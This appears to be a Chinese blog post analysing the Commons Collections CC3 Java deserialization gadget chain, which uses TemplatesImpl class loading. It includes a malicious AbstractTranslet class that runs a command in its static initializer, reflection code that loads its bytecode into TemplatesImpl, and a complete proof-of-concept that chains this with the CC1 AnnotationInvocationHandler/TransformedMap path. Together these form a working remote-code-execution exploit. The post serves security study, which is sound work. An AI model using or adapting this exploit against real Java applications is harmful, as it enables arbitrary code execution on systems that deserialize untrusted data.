首页 > 编程语言 >javaCC链3

javaCC链3

时间:2024-08-05 22:29:14浏览次数:7  
标签:templates name javaCC tfactory new null class

cc3

cc3区别cc6不再是使用Rutime类执行命令,而是通过类加载器动态加载恶意类然后执行

类加载:

ClassLoader.loadClass->ClassLoader.findClass->ClassLLoader.defineClass

ClassLoader.loadClass:寻找加载的类(双亲委派机制)

ClassLoader.findClass:如果loadClass没找到类,就根据类名称/位置加载字节码

ClassLLoader.defineClass:处理findClass传过来的字节码,使其变为.java类(只加载不执行,执行需要newInstance)

双亲委派机制

细讲双亲委派:https://www.cnblogs.com/hollischuang/p/14260801.html

大概就是java的类加载器分四种:BootstrapClassLoader、extensionClassLoader、ApplicationClassLoader、userClassLoader

这四种加载器从前到后有一个类似于父子的关系,前面的是后面的父加载器,在使用类加载器时,默认会先给父加载器加载,其加载不了才使用本身这个加载器

分析链

前面已经说了cc3是通过类加载器加载恶意类并执行

类加载时静态代码块的代码会在newInstance执行

所以写一个恶意的类:Calc.class,并把恶意类编译为class文件(字节码)

package org.example;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class Calc extends AbstractTranslet{
    static {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            throw new RuntimeException(e);
        }
    }


    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }
    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
}

所以我们是要利用ClassLoader的defineClass,进入ClassLoader.java

看到:

protected final Class<?> defineClass(String name, byte[] b, int off, int len)
        throws ClassFormatError
    {
        return defineClass(name, b, off, len, null);
    }

find usage,跟进TemplatesImpl

image-20240805214055506

是缺省,外部包不能调用,find usage

找到TemplatesImpl.defineTransletClasses方法,跟进,发现是private:

private void defineTransletClasses()
        throws TransformerConfigurationException {

        if (_bytecodes == null) {
            ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);
            throw new TransformerConfigurationException(err.toString());
        }

        TransletClassLoader loader = (TransletClassLoader)
            AccessController.doPrivileged(new PrivilegedAction() {
                public Object run() {
                    return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());
                }
            });

        try {
            final int classCount = _bytecodes.length;
            _class = new Class[classCount];

            if (classCount > 1) {
                _auxClasses = new HashMap<>();
            }

            for (int i = 0; i < classCount; i++) {
                _class[i] = loader.defineClass(_bytecodes[i]);
                final Class superClass = _class[i].getSuperclass();

                // Check if this is the main class
                if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
                    _transletIndex = i;
                }
                else {
                    _auxClasses.put(_class[i].getName(), _class[i]);
                }
            }

            if (_transletIndex < 0) {
                ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);
                throw new TransformerConfigurationException(err.toString());
            }
        }
        catch (ClassFormatError e) {
            ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_CLASS_ERR, _name);
            throw new TransformerConfigurationException(err.toString());
        }
        catch (LinkageError e) {
            ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
            throw new TransformerConfigurationException(err.toString());
        }
    }

继续find usage,看到同包下有三个方法:

image-20240805214600634

先看getTransletIndex,因为是public的,优先看一下,继续find usage发现没有了,问题就来了,我们之前说过只是加载字节码为类不执行代码,需要newInstance一下,但是这里没有,并且find usage也没其他调用关系了,所以不符合

public synchronized int getTransletIndex() {
        try {
            if (_class == null) defineTransletClasses();
        }
        catch (TransformerConfigurationException e) {
            // Falls through
        }
        return _transletIndex;
    }

根据上述选择标准,发现getTransletInstance符合,它有使用newInstance,虽然是private的,但是find usage有调用关系

private Translet getTransletInstance()
        throws TransformerConfigurationException {
        try {
            if (_name == null) return null;

            if (_class == null) defineTransletClasses();

            // The translet needs to keep a reference to all its auxiliary
            // class to prevent the GC from collecting them
            AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
            translet.postInitialization();
            translet.setTemplates(this);
            translet.setServicesMechnism(_useServicesMechanism);
            translet.setAllowedProtocols(_accessExternalStylesheet);
            if (_auxClasses != null) {
                translet.setAuxiliaryClasses(_auxClasses);
            }

            return translet;
        }
        catch (InstantiationException e) {
            ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
            throw new TransformerConfigurationException(err.toString());
        }
        catch (IllegalAccessException e) {
            ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
            throw new TransformerConfigurationException(err.toString());
        }
    }

find usage继续找,找到new Transformer方法,并且是public:

public synchronized Transformer newTransformer()
        throws TransformerConfigurationException
    {
        TransformerImpl transformer;

        transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
            _indentNumber, _tfactory);

        if (_uriResolver != null) {
            transformer.setURIResolver(_uriResolver);
        }

        if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) {
            transformer.setSecureProcessing(true);
        }
        return transformer;
    }

所以我们现在链子已经梳理完毕

目的是:templates.newTransformer->templates.getTransletInstance->templates.defineTransletClasses->templates.defineClass->ClassLoader.defineClass

在templates.getTransletInstance有new Instance,可以执行Clac恶意类的静态代码块

现在根据2具体的方法代码设置一些属性,让它触发到我们想要执行的链子上,写payload:

TemplatesImpl templates = new TemplatesImpl();
//        目的:templates.newTransformer();//执行newTransformer会调用getTransletInstance,要触发defineTransletClasses,需要_name!=null而_class==null
        Class templatesClass = TemplatesImpl.class;
        Field name = templatesClass.getDeclaredField("_name");
        name.setAccessible(true);
        name.set(templates,"qs");//通过反射给_name赋值,这里的set是把指定对象templates的_name属性设置为后面的字符串
        //_class属性本身就是空,构造方法也没给它赋值不用管
        //执行defineTransletClasses,需要_bytecodes!=null,它的定义:private byte[][] _bytecodes = null;
        Field bytecode = templatesClass.getDeclaredField("_bytecodes");
        bytecode.setAccessible(true);
        byte[] code = Files.readAllBytes(Paths.get("D:\\cc链\\ccTest\\target\\classes\\org\\example\\Calc.class"));
        byte[][] codes = new byte[][]{code};
        bytecode.set(templates,codes);
        //获取loader需要设置_tfactory,看到return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap()),跟进_tfactory,看它是什么类型的
        //private transient TransformerFactoryImpl _tfactory = null;
        Field tfactory = templatesClass.getDeclaredField("_tfactory");
        tfactory.setAccessible(true);
        tfactory.set(templates,new TransformerFactoryImpl());
        templates.newTransformer();

成功触发:

image-20240805221231195

不过毕竟是反序列化,所以我们需要readObject,这里就可以直接用之前学的cc1、cc1.2、cc6的链子,只需要改Runtime那一部分就可以了

以cc1为例子(换cc6也是2可以的) payload:(注意自己写一个serialize和unserialize方法)

public static void main(String[] args) throws Exception{
        TemplatesImpl templates = new TemplatesImpl();
//        目的:templates.newTransformer();//执行newTransformer会调用getTransletInstance,要触发defineTransletClasses,需要_name!=null而_class==null
        Class templatesClass = TemplatesImpl.class;
        Field name = templatesClass.getDeclaredField("_name");
        name.setAccessible(true);
        name.set(templates,"qs");//通过反射给_name赋值,这里的set是把指定对象templates的_name属性设置为后面的字符串
        //_class属性本身就是空,构造方法也没给它赋值不用管
        //执行defineTransletClasses,需要_bytecodes!=null,它的定义:private byte[][] _bytecodes = null;
        Field bytecode = templatesClass.getDeclaredField("_bytecodes");
        bytecode.setAccessible(true);
        byte[] code = Files.readAllBytes(Paths.get("D:\\cc链\\ccTest\\target\\classes\\org\\example\\Calc.class"));
        byte[][] codes = new byte[][]{code};
        bytecode.set(templates,codes);
        //获取loader需要设置_tfactory,看到return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap()),跟进_tfactory,看它是什么类型的
        //private transient TransformerFactoryImpl _tfactory = null;
        Field tfactory = templatesClass.getDeclaredField("_tfactory");
        tfactory.setAccessible(true);
        tfactory.set(templates,new TransformerFactoryImpl());
        //设置好这些属性后执行newTransformer方法,成功弹计算器
        //templates.newTransformer();
        //不过既然是反序列化,那就要找readObject,这里就可以直接用之前的cc1、cc1.2和cc6链,改transformers数组就行了



        //比如cc1
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(templates),//这里我们不用Runtime,使用TemplatesImpl的对象
                new InvokerTransformer("newTransformer",null,null)//我们要执行的方法是templates.newTransformer();
        };
        //后面的链子不变,AnnotationInvocationHandler.readObject->AbstractInputCheckedMapDecorator.setValue->TransformedMap.checkSetValue->transform方法
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        HashMap<Object,Object> map = new HashMap<>();
        map.put("value","qs");
        Map transformedMap = TransformedMap.decorate(map,null,chainedTransformer);
        Class A = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor = A.getDeclaredConstructor(Class.class,Map.class);
        constructor.setAccessible(true);
        Object annotationInvocationHandler = constructor.newInstance(Target.class,transformedMap);
        byte[] bytes = serialize(annotationInvocationHandler);
        unserialize(bytes);

        
    }

链子

templates.newTransformer->templates.getTransletInstance->templates.defineTransletClasses->templates.defineClass->ClassLoader.defineClass

最终只需要用TemplatesImpl的对象去代替Runtime对象,并且要用InvokerTransformer.transform来执行TemplatesImpl.newTransformer从而触发

标签:templates,name,javaCC,tfactory,new,null,class
From: https://www.cnblogs.com/q1stop/p/18344168

相关文章

  • javaCC链2
    cc2链pom.xml配置<dependency><groupId>org.apache.commons</groupId><artifactId>commons-collections4</artifactId><version>4.0</version></dependency>......
  • javaCC链1
    cc1链jdk:jdk1.8.0_65commons-collections3.2.1cc1链起点是commons-collections包的Transformer接口,这个接口的transform方法接收一个对象作为参数packageorg.apache.commons.collections;publicinterfaceTransformer{Objecttransform(Objectvar1);}所以我们......
  • maven fmpp+javacc 集成使用简单说明
    dremio以及apachecalcite使用到fmpp+javacc进行代码生成处理,以下是一个简单的集成测试fmpp的作用fmpp实际上是包装了freemarker,提供了cli以及javaapi可以方便的......
  • maven fmpp+javacc 集成使用简单说明
    dremio以及apachecalcite使用到fmpp+javacc进行代码生成处理,以下是一个简单的集成测试fmpp的作用fmpp实际上是包装了freemarker,提供了cli以及javaapi可以方......
  • [JAVA反序列化]Javacc链1分析
    文章目录​​写在前面​​​​动态代理​​​​简单介绍​​​​动态代理的实现​​​​JavaCC链1分析​​​​参考文章​​写在前面这几天算是好好一边审计PHP的一些CMS一......
  • [Java反序列化]JavaCC链学习(8u71前)
    文章目录​​写在前面​​​​前置​​​​Transformer​​​​TransformedMap​​​​ChainedTransformer​​​​InvokerTransformer​​​​ConstantTransformer​​​​......